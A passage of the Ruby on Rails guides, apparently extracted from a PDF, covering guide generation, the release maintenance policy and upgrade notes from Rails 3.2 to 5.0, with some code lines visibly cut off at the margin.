4 API Documentation Guidelines

The guides and the API should be coherent and consistent where
appropriate. In particular, these sections of the API Documentation
Guidelines also apply to the guides:
Wording
English
Example Code
Filenames
Fonts

5 HTML Guides
Before generating the guides, make sure that you have the latest version of
Bundler installed on your system. As of this writing, you must install
Bundler 1.3.5 or later on your device.
To install the latest version of Bundler, run gem install bundler.
5.1 Generation
To generate all the guides, just cd into the guides directory, run bundle
install, and execute:
bundle exec rake guides:generate

or
bundle exec rake guides:generate:html

Resulting HTML files can be found in the ./output directory.

To process my_guide.md and nothing else use the ONLY environment
variable:
touch my_guide.md
bundle exec rake guides:generate ONLY=my_guide

By default, guides that have not been modified are not processed, so ONLY
is rarely needed in practice.
To force processing all the guides, pass ALL=1.
It is also recommended that you work with WARNINGS=1. This detects

duplicate IDs and warns about broken internal links.

If you want to generate guides in a language other than English, you can
keep them in a separate directory under source (eg. source/es) and use
the GUIDES_LANGUAGE environment variable:
bundle exec rake guides:generate GUIDES_LANGUAGE=es

If you want to see all the environment variables you can use to configure
the generation script just run:
rake

5.2 Validation
Please validate the generated HTML with:
bundle exec rake guides:validate

Particularly, titles get an ID generated from their content and this often
leads to duplicates. Please set WARNINGS=1 when generating guides to
detect them. The warning messages suggest a solution.

6 Kindle Guides
6.1 Generation
To generate guides for the Kindle, use the following rake task:
bundle exec rake guides:generate:kindle

Maintenance Policy for Ruby on

Rails ...

1 New Features
New features are only added to the master branch and will not be made
available in point releases.

2 Bug Fixes
Only the latest release series will receive bug fixes. When enough bugs are
fixed and its deemed worthy to release a new gem, this is the branch it
happens from.
In special situations, where someone from the Core Team agrees to
support more series, they are included in the list of supported series.
Currently included series: 5.0.Z, 4.2.Z.

3 Security Issues
The current release series and the next most recent one will receive patches
and new versions in case of a security issue.
These releases are created by taking the last released version, applying the
security patches, and releasing. Those patches are then applied to the end
of the x-y-stable branch. For example, a theoretical 1.2.3 security release
would be built from 1.2.2, and then added to the end of 1-2-stable. This
means that security releases are easy to upgrade to if you're running the
latest version of Rails.
Currently included series: 5.0.Z, 4.2.Z.

4 Severe Security Issues

For severe security issues we will provide new versions as above, and also
the last major release series will receive patches and new versions. The
classification of the security issue is judged by the core team.
Currently included series: 5.0.Z, 4.2.Z.

5 Unsupported Release Series

When a release series is no longer supported, it's your own responsibility
to deal with bugs and security issues. We may provide backports of the
fixes and publish them to git, however there will be no new versions
released. If you are not comfortable maintaining your own versions, you
should upgrade to a supported version.

A Guide for Upgrading Ruby on

Rails ...

1 General Advice
Before attempting to upgrade an existing application, you should be sure
you have a good reason to upgrade. You need to balance several factors:
the need for new features, the increasing difficulty of finding support for
old code, and your available time and skills, to name a few.
1.1 Test Coverage
The best way to be sure that your application still works after upgrading is
to have good test coverage before you start the process. If you don't have
automated tests that exercise the bulk of your application, you'll need to
spend time manually exercising all the parts that have changed. In the case
of a Rails upgrade, that will mean every single piece of functionality in the
application. Do yourself a favor and make sure your test coverage is good
before you start an upgrade.
1.2 The Upgrade Process
When changing Rails versions, it's best to move slowly, one minor version
at a time, in order to make good use of the deprecation warnings. Rails
version numbers are in the form Major.Minor.Patch. Major and Minor
versions are allowed to make changes to the public API, so this may cause
errors in your application. Patch versions only include bug fixes, and don't
change any public API.
The process should go as follows:
1.
2.
3.
4.

Write tests and make sure they pass.

Move to the latest patch version after your current version.
Fix tests and deprecated features.
Move to the latest patch version of the next minor version.

Repeat this process until you reach your target Rails version. Each time

you move versions, you will need to change the Rails version number in
the Gemfile (and possibly other gem versions) and run bundle update.
Then run the Update task mentioned below to update configuration files,
then run your tests.
You can find a list of all released Rails versions here.
1.3 Ruby Versions
Rails generally stays close to the latest released Ruby version when it's
released:
Rails 5 requires Ruby 2.2.2 or newer.
Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer.
Rails 3.2.x is the last branch to support Ruby 1.8.7.
Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the
previous Ruby versions has been dropped officially. You should
upgrade as early as possible.
Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby
Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On
the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if
you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing.
1.4 The Update Task
Rails provides the app:update task (rails:update on 4.2 and earlier).
After updating the Rails version in the Gemfile, run this task. This will
help you with the creation of new files and changes of old files in an
interactive session.
$ rails app:update
identical config/boot.rb
exist config
conflict config/routes.rb

Overwrite /myapp/config/routes.rb? (enter "h" for help) [Ynaqdh]

force config/routes.rb
conflict config/application.rb
Overwrite /myapp/config/application.rb? (enter "h" for help) [Yn
force config/application.rb
conflict config/environment.rb
...

Don't forget to review the difference, to see if there were any unexpected
changes.

2 Upgrading from Rails 4.2 to Rails 5.0

For more information on changes made to Rails 5.0 please see the release
notes.
2.1 Ruby 2.2.2+ required
From Ruby on Rails 5.0 onwards, Ruby 2.2.2+ is the only supported Ruby
version. Make sure you are on Ruby 2.2.2 version or greater, before you
proceed.
2.2 Active Record Models Now Inherit from ApplicationRecord by
Default
In Rails 4.2, an Active Record model inherits from ActiveRecord::Base.
In Rails 5.0, all models inherit from ApplicationRecord.
ApplicationRecord is a new superclass for all app models, analogous to
app controllers subclassing ApplicationController instead of
ActionController::Base. This gives apps a single spot to configure app-

wide model behavior.

When upgrading from Rails 4.2 to Rails 5.0, you need to create an
application_record.rb file in app/models/ and add the following
content:
class ApplicationRecord < ActiveRecord::Base
self.abstract_class = true
end

2.3 Halting Callback Chains via throw(:abort)

In Rails 4.2, when a 'before' callback returns false in Active Record and
Active Model, then the entire callback chain is halted. In other words,

successive 'before' callbacks are not executed, and neither is the action
wrapped in callbacks.
In Rails 5.0, returning false in an Active Record or Active Model
callback will not have this side effect of halting the callback chain. Instead,
callback chains must be explicitly halted by calling throw(:abort).
When you upgrade from Rails 4.2 to Rails 5.0, returning false in those
kind of callbacks will still halt the callback chain, but you will receive a
deprecation warning about this upcoming change.
When you are ready, you can opt into the new behavior and remove the
deprecation warning by adding the following configuration to your
config/application.rb:
ActiveSupport.halt_callback_chains_on_return_false = false

Note that this option will not affect Active Support callbacks since they
never halted the chain when any value was returned.
See #17227 for more details.
2.4 ActiveJob Now Inherits from ApplicationJob by Default
In Rails 4.2, an Active Job inherits from ActiveJob::Base. In Rails 5.0,
this behavior has changed to now inherit from ApplicationJob.
When upgrading from Rails 4.2 to Rails 5.0, you need to create an
application_job.rb file in app/jobs/ and add the following content:
class ApplicationJob < ActiveJob::Base
end

Then make sure that all your job classes inherit from it.

See #19034 for more details.

2.5 Rails Controller Testing
assigns and assert_template have been extracted to the railscontroller-testing gem. To continue using these methods in your
controller tests, add gem 'rails-controller-testing' to your Gemfile.

If you are using Rspec for testing, please see the extra configuration
required in the gem's documentation.
2.6 Autoloading is Disabled After Booting in the Production
Environment
Autoloading is now disabled after booting in the production environment
by default.
Eager loading the application is part of the boot process, so top-level
constants are fine and are still autoloaded, no need to require their files.
Constants in deeper places only executed at runtime, like regular method
bodies, are also fine because the file defining them will have been eager
loaded while booting.
For the vast majority of applications this change needs no action. But in
the very rare event that your application needs autoloading while running
in production mode, set
Rails.application.config.enable_dependency_loading to true.
2.7 XML Serialization
ActiveModel::Serializers::Xml has been extracted from Rails to the
activemodel-serializers-xml gem. To continue using XML
serialization in your application, add gem 'activemodel-serializers-

xml' to your Gemfile.

2.8 Removed Support for Legacy mysql Database Adapter

Rails 5 removes support for the legacy mysql database adapter. Most users
should be able to use mysql2 instead. It will be converted to a separate
gem when we find someone to maintain it.
2.9 Removed Support for Debugger
debugger is not supported by Ruby 2.2 which is required by Rails 5. Use
byebug instead.

2.10 Use bin/rails for running tasks and tests

Rails 5 adds the ability to run tasks and tests through bin/rails instead of
rake. Generally these changes are in parallel with rake, but some were
ported over altogether.
To use the new test runner simply type bin/rails test.
rake dev:cache is now rails dev:cache.

Run bin/rails to see the list of commands available.

2.11 ActionController::Parameters No Longer Inherits from
HashWithIndifferentAccess

Calling params in your application will now return an object instead of a

hash. If your parameters are already permitted, then you will not need to
make any changes. If you are using slice and other methods that depend
on being able to read the hash regardless of permitted? you will need to
upgrade your application to first permit and then convert to a hash.

params.permit([:proceed_to, :return_to]).to_h

2.12 protect_from_forgery Now Defaults to prepend: false

protect_from_forgery defaults to prepend: false which means that it

will be inserted into the callback chain at the point in which you call it in
your application. If you want protect_from_forgery to always run first,
then you should change your application to use protect_from_forgery
prepend: true.
2.13 Default Template Handler is Now RAW
Files without a template handler in their extension will be rendered using
the raw handler. Previously Rails would render files using the ERB
template handler.
If you do not want your file to be handled via the raw handler, you should
add an extension to your file that can be parsed by the appropriate template
handler.
2.14 Added Wildcard Matching for Template Dependencies
You can now use wildcard matching for your template dependencies. For
example, if you were defining your templates as such:

<% # Template Dependency: recordings/threads/events/subscribers_

<% # Template Dependency: recordings/threads/events/completed %>
<% # Template Dependency: recordings/threads/events/uncompleted

You can now just call the dependency once with a wildcard.
<% # Template Dependency: recordings/threads/events/* %>

2.15 Removed Support for protected_attributes Gem

The protected_attributes gem is no longer supported in Rails 5.
2.16 Removed support for activerecord-deprecated_finders gem
The activerecord-deprecated_finders gem is no longer supported in
Rails 5.
2.17 ActiveSupport::TestCase Default Test Order is Now Random
When tests are run in your application, the default order is now :random
instead of :sorted. Use the following config option to set it back to
:sorted.
# config/environments/test.rb
Rails.application.configure do
config.active_support.test_order = :sorted
end

2.18 ActionController::Live became a Concern

If you include ActionController::Live in another module that is
included in your controller, then you should also extend the module with
ActiveSupport::Concern. Alternatively, you can use the self.included
hook to include ActionController::Live directly to the controller once
the StreamingSupport is included.
This means that if your application used to have its own streaming module,
the following code would break in production mode:

# This is a work-around for streamed controllers performing auth

# See https://github.com/plataformatec/devise/issues/2332
# Authenticating in the router is another solution as suggested
class StreamingSupport

include ActionController::Live # this won't work in production

# extend ActiveSupport::Concern # unless you uncomment this li
def process(name)
super(name)
rescue ArgumentError => e
if e.message == 'uncaught throw :warden'
throw :warden
else
raise e
end
end
end

2.19 New Framework Defaults

2.19.1 Active Record belongs_to Required by Default Option

belongs_to will now trigger a validation error by default if the association

is not present.
This can be turned off per-association with optional: true.
This default will be automatically configured in new applications. If
existing application want to add this feature it will need to be turned on in
an initializer.
config.active_record.belongs_to_required_by_default = true
2.19.2 Per-form CSRF Tokens

Rails 5 now supports per-form CSRF tokens to mitigate against codeinjection attacks with forms created by JavaScript. With this option turned
on, forms in your application will each have their own CSRF token that is
specified to the action and method for that form.

config.action_controller.per_form_csrf_tokens = true
2.19.3 Forgery Protection with Origin Check

You can now configure your application to check if the HTTP Origin
header should be checked against the site's origin as an additional CSRF
defense. Set the following in your config to true:
config.action_controller.forgery_protection_origin_check = true
2.19.4 Allow Configuration of Action Mailer Queue Name

The default mailer queue name is mailers. This configuration option

allows you to globally change the queue name. Set the following in your
config:
config.action_mailer.deliver_later_queue_name = :new_queue_name
2.19.5 Support Fragment Caching in Action Mailer Views

Set config.action_mailer.perform_caching in your config to determine

whether your Action Mailer views should support caching.
config.action_mailer.perform_caching = true
2.19.6 Configure the Output of db:structure:dump

If you're using schema_search_path or other PostgreSQL extentions, you

can control how the schema is dumped. Set to :all to generate all dumps,
or to :schema_search_path to generate from schema search path.
config.active_record.dump_schemas = :all
2.19.7 Configure SSL Options to Enable HSTS with Subdomains

Set the following in your config to enable HSTS when using subdomains:
config.ssl_options = { hsts: { subdomains: true } }
2.19.8 Preserve Timezone of the Receiver

When using Ruby 2.4, you can preserve the timezone of the receiver when
calling to_time.
ActiveSupport.to_time_preserves_timezone = false

3 Upgrading from Rails 4.1 to Rails 4.2

3.1 Web Console
First, add gem 'web-console', '~> 2.0' to the :development group in
your Gemfile and run bundle install (it won't have been included when
you upgraded Rails). Once it's been installed, you can simply drop a
reference to the console helper (i.e., <%= console %>) into any view you
want to enable it for. A console will also be provided on any error page
you view in your development environment.
3.2 Responders
respond_with and the class-level respond_to methods have been
extracted to the responders gem. To use them, simply add gem
'responders', '~> 2.0' to your Gemfile. Calls to respond_with and
respond_to (again, at the class level) will no longer work without having
included the responders gem in your dependencies:
# app/controllers/users_controller.rb
class UsersController < ApplicationController
respond_to :html, :json
def show
@user = User.find(params[:id])
respond_with @user
end
end

Instance-level respond_to is unaffected and does not require the

additional gem:
# app/controllers/users_controller.rb
class UsersController < ApplicationController

def show
@user = User.find(params[:id])
respond_to do |format|
format.html
format.json { render json: @user }
end
end
end

See #16526 for more details.

3.3 Error handling in transaction callbacks
Currently, Active Record suppresses errors raised within after_rollback
or after_commit callbacks and only prints them to the logs. In the next
version, these errors will no longer be suppressed. Instead, the errors will
propagate normally just like in other Active Record callbacks.
When you define an after_rollback or after_commit callback, you will
receive a deprecation warning about this upcoming change. When you are
ready, you can opt into the new behavior and remove the deprecation
warning by adding following configuration to your
config/application.rb:
config.active_record.raise_in_transactional_callbacks = true

See #14488 and #16537 for more details.

3.4 Ordering of test cases
In Rails 5.0, test cases will be executed in random order by default. In
anticipation of this change, Rails 4.2 introduced a new configuration
option active_support.test_order for explicitly specifying the test
ordering. This allows you to either lock down the current behavior by

setting the option to :sorted, or opt into the future behavior by setting the
option to :random.
If you do not specify a value for this option, a deprecation warning will be
emitted. To avoid this, add the following line to your test environment:

# config/environments/test.rb
Rails.application.configure do
config.active_support.test_order = :sorted # or `:random` if y
end

3.5 Serialized attributes

When using a custom coder (e.g. serialize :metadata, JSON), assigning
nil to a serialized attribute will save it to the database as NULL instead of
passing the nil value through the coder (e.g. "null" when using the JSON
coder).
3.6 Production log level
In Rails 5, the default log level for the production environment will be
changed to :debug (from :info). To preserve the current default, add the
following line to your production.rb:

# Set to `:info` to match the current default, or set to `:debug

# the future default.
config.log_level = :info

3.7 after_bundle in Rails templates

If you have a Rails template that adds all the files in version control, it fails
to add the generated binstubs because it gets executed before Bundler:
# template.rb

generate(:scaffold, "person name:string")

route "root to: 'people#index'"
rake("db:migrate")
git :init
git add: "."
git commit: %Q{ -m 'Initial commit' }

You can now wrap the git calls in an after_bundle block. It will be run
after the binstubs have been generated.
# template.rb
generate(:scaffold, "person name:string")
route "root to: 'people#index'"
rake("db:migrate")
after_bundle do
git :init
git add: "."
git commit: %Q{ -m 'Initial commit' }
end

3.8 Rails HTML Sanitizer

There's a new choice for sanitizing HTML fragments in your applications.
The venerable html-scanner approach is now officially being deprecated in
favor of Rails HTML Sanitizer.
This means the methods sanitize, sanitize_css, strip_tags and
strip_links are backed by a new implementation.
This new sanitizer uses Loofah internally. Loofah in turn uses Nokogiri,
which wraps XML parsers written in both C and Java, so sanitization
should be faster no matter which Ruby version you run.
The new version updates sanitize, so it can take a Loofah::Scrubber for

powerful scrubbing. See some examples of scrubbers here.

Two new scrubbers have also been added: PermitScrubber and
TargetScrubber. Read the gem's readme for more information.
The documentation for PermitScrubber and TargetScrubber explains
how you can gain complete control over when and how elements should be
stripped.
If your application needs to use the old sanitizer implementation, include
rails-deprecated_sanitizer in your Gemfile:
gem 'rails-deprecated_sanitizer'

3.9 Rails DOM Testing

The TagAssertions module (containing methods such as assert_tag),
has been deprecated in favor of the assert_select methods from the
SelectorAssertions module, which has been extracted into the railsdom-testing gem.
3.10 Masked Authenticity Tokens
In order to mitigate SSL attacks, form_authenticity_token is now
masked so that it varies with each request. Thus, tokens are validated by
unmasking and then decrypting. As a result, any strategies for verifying
requests from non-rails forms that relied on a static session CSRF token
have to take this into account.
3.11 Action Mailer
Previously, calling a mailer method on a mailer class will result in the
corresponding instance method being executed directly. With the

introduction of Active Job and #deliver_later, this is no longer true. In

Rails 4.2, the invocation of the instance methods are deferred until either
deliver_now or deliver_later is called. For example:
class Notifier < ActionMailer::Base
def notify(user, ...)
puts "Called"
mail(to: user.email, ...)
end
end

mail = Notifier.notify(user, ...) # Notifier#notify is not yet c

mail = mail.deliver_now # Prints "Called"

This should not result in any noticeable differences for most applications.
However, if you need some non-mailer methods to be executed
synchronously, and you were previously relying on the synchronous
proxying behavior, you should define them as class methods on the mailer
class directly:
class Notifier < ActionMailer::Base
def self.broadcast_notifications(users, ...)
users.each { |user| Notifier.notify(user, ...) }
end
end

3.12 Foreign Key Support

The migration DSL has been expanded to support foreign key definitions.
If you've been using the Foreigner gem, you might want to consider
removing it. Note that the foreign key support of Rails is a subset of
Foreigner. This means that not every Foreigner definition can be fully
replaced by its Rails migration DSL counterpart.
The migration procedure is as follows:

1.
2.
3.
4.

remove gem "foreigner" from the Gemfile.

run bundle install.
run bin/rake db:schema:dump.
make sure that db/schema.rb contains every foreign key definition
with the necessary options.

4 Upgrading from Rails 4.0 to Rails 4.1

4.1 CSRF protection from remote <script> tags
Or, "whaaat my tests are failing!!!?" or "my <script> widget is busted!!"
Cross-site request forgery (CSRF) protection now covers GET requests
with JavaScript responses, too. This prevents a third-party site from
remotely referencing your JavaScript with a <script> tag to extract
sensitive data.
This means that your functional and integration tests that use
get :index, format: :js

will now trigger CSRF protection. Switch to

xhr :get, :index, format: :js

to explicitly test an XmlHttpRequest.

Note: Your own <script> tags are treated as cross-origin and blocked by
default, too. If you really mean to load JavaScript from <script> tags, you
must now explicitly skip CSRF protection on those actions.
4.2 Spring
If you want to use Spring as your application preloader you need to:
1. Add gem 'spring', group: :development to your Gemfile.
2. Install spring using bundle install.
3. Springify your binstubs with bundle exec spring binstub --all.

User defined rake tasks will run in the development environment by

default. If you want them to run in other environments consult the Spring
README.
4.3 config/secrets.yml
If you want to use the new secrets.yml convention to store your
application's secrets, you need to:
1. Create a secrets.yml file in your config folder with the following
content:
development:
secret_key_base:
test:
secret_key_base:
production:
secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

2. Use your existing secret_key_base from the secret_token.rb

initializer to set the SECRET_KEY_BASE environment variable for
whichever users running the Rails application in production mode.
Alternatively, you can simply copy the existing secret_key_base
from the secret_token.rb initializer to secrets.yml under the
production section, replacing '<%= ENV["SECRET_KEY_BASE"]
%>'.
3. Remove the secret_token.rb initializer.
4. Use rake secret to generate new keys for the development and test
sections.
5. Restart your server.
4.4 Changes to test helper

If your test helper contains a call to

ActiveRecord::Migration.check_pending! this can be removed. The
check is now done automatically when you require 'rails/test_help',

although leaving this line in your helper is not harmful in any way.
4.5 Cookies serializer
Applications created before Rails 4.1 uses Marshal to serialize cookie
values into the signed and encrypted cookie jars. If you want to use the
new JSON-based format in your application, you can add an initializer file
with the following content:

Rails.application.config.action_dispatch.cookies_serializer = :h

This would transparently migrate your existing Marshal-serialized cookies

into the new JSON-based format.
When using the :json or :hybrid serializer, you should beware that not
all Ruby objects can be serialized as JSON. For example, Date and Time
objects will be serialized as strings, and Hashes will have their keys
stringified.

class CookiesController < ApplicationController

def set_cookie
cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu
redirect_to action: 'read_cookie'
end
def read_cookie
cookies.encrypted[:expiration_date] # => "2014-03-20"
end
end

It's advisable that you only store simple data (strings and numbers) in
cookies. If you have to store complex objects, you would need to handle

the conversion manually when reading the values on subsequent requests.

If you use the cookie session store, this would apply to the session and
flash hash as well.
4.6 Flash structure changes
Flash message keys are normalized to strings. They can still be accessed
using either symbols or strings. Looping through the flash will always
yield string keys:
flash["string"] = "a string"
flash[:symbol] = "a symbol"
# Rails < 4.1
flash.keys # => ["string", :symbol]
# Rails >= 4.1
flash.keys # => ["string", "symbol"]

Make sure you are comparing Flash message keys against strings.
4.7 Changes in JSON handling
There are a few major changes related to JSON handling in Rails 4.1.
4.7.1 MultiJSON removal

MultiJSON has reached its end-of-life and has been removed from Rails.
If your application currently depend on MultiJSON directly, you have a
few options:
1. Add 'multi_json' to your Gemfile. Note that this might cease to work
in the future

2. Migrate away from MultiJSON by using obj.to_json, and

JSON.parse(str) instead.
Do not simply replace MultiJson.dump and MultiJson.load with
JSON.dump and JSON.load. These JSON gem APIs are meant for
serializing and deserializing arbitrary Ruby objects and are generally
unsafe.
4.7.2 JSON gem compatibility

Historically, Rails had some compatibility issues with the JSON gem.
Using JSON.generate and JSON.dump inside a Rails application could
produce unexpected errors.
Rails 4.1 fixed these issues by isolating its own encoder from the JSON
gem. The JSON gem APIs will function as normal, but they will not have
access to any Rails-specific features. For example:
class FooBar
def as_json(options = nil)
{ foo: 'bar' }
end
end

>> FooBar.new.to_json # => "{\"foo\":\"bar\"}"

>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar
4.7.3 New JSON encoder

The JSON encoder in Rails 4.1 has been rewritten to take advantage of the
JSON gem. For most applications, this should be a transparent change.
However, as part of the rewrite, the following features have been removed
from the encoder:
1. Circular data structure detection
2. Support for the encode_json hook

3. Option to encode BigDecimal objects as numbers instead of strings

If your application depends on one of these features, you can get them
back by adding the activesupport-json_encoder gem to your Gemfile.
4.7.4 JSON representation of Time objects

#as_json for objects with time component (Time, DateTime,

ActiveSupport::TimeWithZone) now returns millisecond precision by

default. If you need to keep old behavior with no millisecond precision, set
the following in an initializer:
ActiveSupport::JSON::Encoding.time_precision = 0

4.8 Usage of return within inline callback blocks

Previously, Rails allowed inline callback blocks to use return this way:
class ReadOnlyModel < ActiveRecord::Base
before_save { return false } # BAD
end

This behavior was never intentionally supported. Due to a change in the

internals of ActiveSupport::Callbacks, this is no longer allowed in Rails
4.1. Using a return statement in an inline callback block causes a
LocalJumpError to be raised when the callback is executed.
Inline callback blocks using return can be refactored to evaluate to the
returned value:
class ReadOnlyModel < ActiveRecord::Base
before_save { false } # GOOD
end

Alternatively, if return is preferred it is recommended to explicitly define

a method:
class ReadOnlyModel < ActiveRecord::Base
before_save :before_save_callback # GOOD
private
def before_save_callback
return false
end
end

This change applies to most places in Rails where callbacks are used,
including Active Record and Active Model callbacks, as well as filters in
Action Controller (e.g. before_action).
See this pull request for more details.
4.9 Methods defined in Active Record fixtures
Rails 4.1 evaluates each fixture's ERB in a separate context, so helper
methods defined in a fixture will not be available in other fixtures.
Helper methods that are used in multiple fixtures should be defined on
modules included in the newly introduced
ActiveRecord::FixtureSet.context_class, in test_helper.rb.

module FixtureFileHelpers
def file_sha(path)
Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtu
end
end
ActiveRecord::FixtureSet.context_class.include FixtureFileHelper

4.10 I18n enforcing available locales

Rails 4.1 now defaults the I18n option enforce_available_locales to

true. This means that it will make sure that all locales passed to it must be
declared in the available_locales list.
To disable it (and allow I18n to accept any locale option) add the
following configuration to your application:
config.i18n.enforce_available_locales = false

Note that this option was added as a security measure, to ensure user input
cannot be used as locale information unless it is previously known.
Therefore, it's recommended not to disable this option unless you have a
strong reason for doing so.
4.11 Mutator methods called on Relation
Relation no longer has mutator methods like #map! and #delete_if.
Convert to an Array by calling #to_a before using these methods.

It intends to prevent odd bugs and confusion in code that call mutator
methods directly on the Relation.
# Instead of this
Author.where(name: 'Hank Moody').compact!
# Now you have to do this
authors = Author.where(name: 'Hank Moody').to_a
authors.compact!

4.12 Changes on Default Scopes

Default scopes are no longer overridden by chained conditions.
In previous versions when you defined a default_scope in a model it was

overridden by chained conditions in the same field. Now it is merged like

any other scope.
Before:
class User < ActiveRecord::Base
default_scope { where state: 'pending' }
scope :active, -> { where state: 'active' }
scope :inactive, -> { where state: 'inactive' }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'

User.where(state: 'inactive')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactiv

After:
class User < ActiveRecord::Base
default_scope { where state: 'pending' }
scope :active, -> { where state: 'active' }
scope :inactive, -> { where state: 'inactive' }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending

User.where(state: 'inactive')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending

To get the previous behavior it is needed to explicitly remove the

default_scope condition using unscoped, unscope, rewhere or except.

class User < ActiveRecord::Base

default_scope { where state: 'pending' }
scope :active, -> { unscope(where: :state).where(state: 'activ
scope :inactive, -> { rewhere state: 'inactive' }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'

User.inactive
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactiv

4.13 Rendering content from string

Rails 4.1 introduces :plain, :html, and :body options to render. Those
options are now the preferred way to render string-based content, as it
allows you to specify which content type you want the response sent as.
render :plain will set the content type to text/plain
render :html will set the content type to text/html
render :body will not set the content type header.

From the security standpoint, if you don't expect to have any markup in
your response body, you should be using render :plain as most browsers
will escape unsafe content in the response for you.
We will be deprecating the use of render :text in a future version. So
please start using the more precise :plain, :html, and :body options
instead. Using render :text may pose a security risk, as the content is
sent as text/html.
4.14 PostgreSQL json and hstore datatypes

Rails 4.1 will map json and hstore columns to a string-keyed Ruby Hash.
In earlier versions, a HashWithIndifferentAccess was used. This means
that symbol access is no longer supported. This is also the case for
store_accessors based on top of json or hstore columns. Make sure to
use string keys consistently.
4.15 Explicit block use for ActiveSupport::Callbacks
Rails 4.1 now expects an explicit block to be passed when calling
ActiveSupport::Callbacks.set_callback. This change stems from
ActiveSupport::Callbacks being largely rewritten for the 4.1 release.

# Previously in Rails 4.0

set_callback :save, :around, ->(r, &block) { stuff; result = blo

# Now in Rails 4.1

set_callback :save, :around, ->(r, block) { stuff; result = bloc

5 Upgrading from Rails 3.2 to Rails 4.0

If your application is currently on any version of Rails older than 3.2.x,
you should upgrade to Rails 3.2 before attempting one to Rails 4.0.
The following changes are meant for upgrading your application to Rails
4.0.
5.1 HTTP PATCH
Rails 4 now uses PATCH as the primary HTTP verb for updates when a
RESTful resource is declared in config/routes.rb. The update action is
still used, and PUT requests will continue to be routed to the update action
as well. So, if you're using only the standard RESTful routes, no changes
need to be made:
resources :users
<%= form_for @user do |f| %>

class UsersController < ApplicationController

def update
# No change needed; PATCH will be preferred, and PUT will st
end
end

However, you will need to make a change if you are using form_for to
update a resource in conjunction with a custom route using the PUT HTTP
method:
resources :users, do
put :update_name, on: :member
end

<%= form_for [ :update_name, @user ] do |f| %>

class UsersController < ApplicationController

def update_name
# Change needed; form_for will try to use a non-existent PAT
end
end

If the action is not being used in a public API and you are free to change
the HTTP method, you can update your route to use patch instead of put:
PUT requests to /users/:id in Rails 4 get routed to update as they are

today. So, if you have an API that gets real PUT requests it is going to
work. The router also routes PATCH requests to /users/:id to the update
action.
resources :users do
patch :update_name, on: :member
end

If the action is being used in a public API and you can't change to HTTP
method being used, you can update your form to use the PUT method
instead:
<%= form_for [ :update_name, @user ], method: :put do |f| %>

For more on PATCH and why this change was made, see this post on the
Rails blog.
5.1.1 A note about media types

The errata for the PATCH verb specifies that a 'diff' media type should be
used with PATCH. One such format is JSON Patch. While Rails does not
support JSON Patch natively, it's easy enough to add support:

# in your controller
def update
respond_to do |format|
format.json do
# perform a partial update
@article.update params[:article]
end
format.json_patch do
# perform sophisticated change
end
end
end
# In config/initializers/json_patch.rb:
Mime::Type.register 'application/json-patch+json', :json_patch

As JSON Patch was only recently made into an RFC, there aren't a lot of
great Ruby libraries yet. Aaron Patterson's hana is one such gem, but
doesn't have full support for the last few changes in the specification.
5.2 Gemfile
Rails 4.0 removed the assets group from Gemfile. You'd need to remove
that line from your Gemfile when upgrading. You should also update your
application file (in config/application.rb):
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)

5.3 vendor/plugins
Rails 4.0 no longer supports loading plugins from vendor/plugins. You
must replace any plugins by extracting them to gems and adding them to
your Gemfile. If you choose not to make them gems, you can move them

into, say, lib/my_plugin/* and add an appropriate initializer in

config/initializers/my_plugin.rb.
5.4 Active Record
Rails 4.0 has removed the identity map from Active Record, due to
some inconsistencies with associations. If you have manually enabled
it in your application, you will have to remove the following config
that has no effect anymore: config.active_record.identity_map.
The delete method in collection associations can now receive
Integer or String arguments as record ids, besides records, pretty
much like the destroy method does. Previously it raised
ActiveRecord::AssociationTypeMismatch for such arguments.
From Rails 4.0 on delete automatically tries to find the records
matching the given ids before deleting them.
In Rails 4.0 when a column or a table is renamed the related indexes
are also renamed. If you have migrations which rename the indexes,
they are no longer needed.
Rails 4.0 has changed serialized_attributes and attr_readonly
to class methods only. You shouldn't use instance methods since it's
now deprecated. You should change them to use class methods, e.g.
self.serialized_attributes to
self.class.serialized_attributes.
When using the default coder, assigning nil to a serialized attribute
will save it to the database as NULL instead of passing the nil value
through YAML ("--- \n...\n").
Rails 4.0 has removed attr_accessible and attr_protected feature
in favor of Strong Parameters. You can use the Protected Attributes
gem for a smooth upgrade path.
If you are not using Protected Attributes, you can remove any options
related to this gem such as whitelist_attributes or
mass_assignment_sanitizer options.
Rails 4.0 requires that scopes use a callable object such as a Proc or

lambda:
scope :active, where(active: true)
# becomes
scope :active, -> { where active: true }

Rails 4.0 has deprecated ActiveRecord::Fixtures in favor of

ActiveRecord::FixtureSet.
Rails 4.0 has deprecated ActiveRecord::TestCase in favor of
ActiveSupport::TestCase.
Rails 4.0 has deprecated the old-style hash based finder API. This
means that methods which previously accepted "finder options" no
longer do. For example, Book.find(:all, conditions: { name:
'1984' }) has been deprecated in favor of Book.where(name:
'1984')

All dynamic methods except for find_by_... and find_by_...! are

deprecated. Here's how you can handle the changes:
find_all_by_... becomes where(...).
find_last_by_... becomes where(...).last.
scoped_by_... becomes where(...).
find_or_initialize_by_... becomes
find_or_initialize_by(...).
find_or_create_by_... becomes find_or_create_by(...).
Note that where(...) returns a relation, not an array like the old
finders. If you require an Array, use where(...).to_a.
These equivalent methods may not execute the same SQL as the
previous implementation.
To re-enable the old finders, you can use the activerecorddeprecated_finders gem.
Rails 4.0 has changed to default join table for
has_and_belongs_to_many relations to strip the common prefix off
